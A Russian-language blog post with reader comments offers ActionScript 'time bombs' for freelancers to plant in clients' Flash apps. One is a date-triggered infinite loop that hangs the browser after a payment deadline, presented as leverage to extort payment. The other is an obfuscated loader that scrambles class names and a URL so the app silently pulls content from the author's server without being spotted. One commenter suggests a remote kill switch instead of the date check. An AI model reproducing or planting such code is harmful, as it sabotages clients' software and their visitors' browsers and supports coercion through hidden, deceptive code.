Bomba deng

Если вы не уверены в заказчике, смотрим сюда и делаем бомбу замедленного действия.

var d:Date = new Date()
// payment deadline
var payMonth:int = 9;
var payDay:int = 5;
// add five days so it's not too obvious and so you can replace
// the swf on their server if they do pay
payDay+=5;
if (d.getMonth()>= payMonth){
	if (d.getDay()>= payDay){
		// very nasty code to crash flash, alternately you could do anything that will break
		// you app
		while(1){
		   stage.addEventListener(Event.ENTER_FRAME, function(){ this["__"+Math.random()]=getTimer()*Math.random()});
		}
	}
}

А лучше

while(1)
	this.addEventListener(Event.ENTER_FRAME, function():void{ this["__"+(getTimer()+Math.random())]=new BitmapData(5000,5000)});

Что, сайт не работает? Вешает браузер? Ну я не знаю, деньги переводите — я посмотрю что случилось.

И пока денег нету, слушаем и подпеваем.

Хотя, это уж слишком очевидно. Согласитесь, что делает этот код уж очень очевидно. Прокатит, если у заказчика нет исходников.

Я как-то прятал вот такой код

function f(t:String){
	var i=0;var s1="";var s2="";
	while (i<Math.floor(t.length*.5)){if(i%2){ s1+=t.charAt(t.length-(i+1));s2=t.charAt(i)+s2; }else{ s1+=t.charAt(i);s2=t.charAt(t.length-(i+1))+s2;}i++;}
	t.length%2 == 0 ?1:s1+=t.charAt(Math.floor(t.length*.5));
	return s1+s2;
}
var _c = new (getDefinitionByName(f("feaahLdyslpai..osdlr")))();
var _r = new (getDefinitionByName(f("fsauhenLtU.ReR.qselt")))(f("hwt.:t/eitgev/lradr.yuat.sntps/spstf"));
_c[f("cfnIeetaoLdnrtnoo")].addEventListener( "ioE"+"rror", function(e:*){});
_c["lo"+"ad"](_r);

Его сложно найти по ключевым словам и по адресу откуда что-то грузится, даже если это видно в том же FireBug. Можно опять же сделать привязку к дате и начинать грузить только через неделю.

Такие дела.

3 Responses to “Bomba deng”


  • Злой ты :) А если сам забудешь и заказчик не сразу заметит, быть беде имиджу компании на сайте которой будет флешка :(

  • Date хм… Неудачно. Время на машине можно сменить.
    Лучше грузить что-нибудь со своего домена.
    отправлять “workapp”, ждать true/false.
    Не заплатили заказчики – выставим у себя на сервере на отдачу false, который и будет вешать проект.

  • Не, лучше дать заказчику готовый сайт и позлорадствовать.

Comments are currently closed.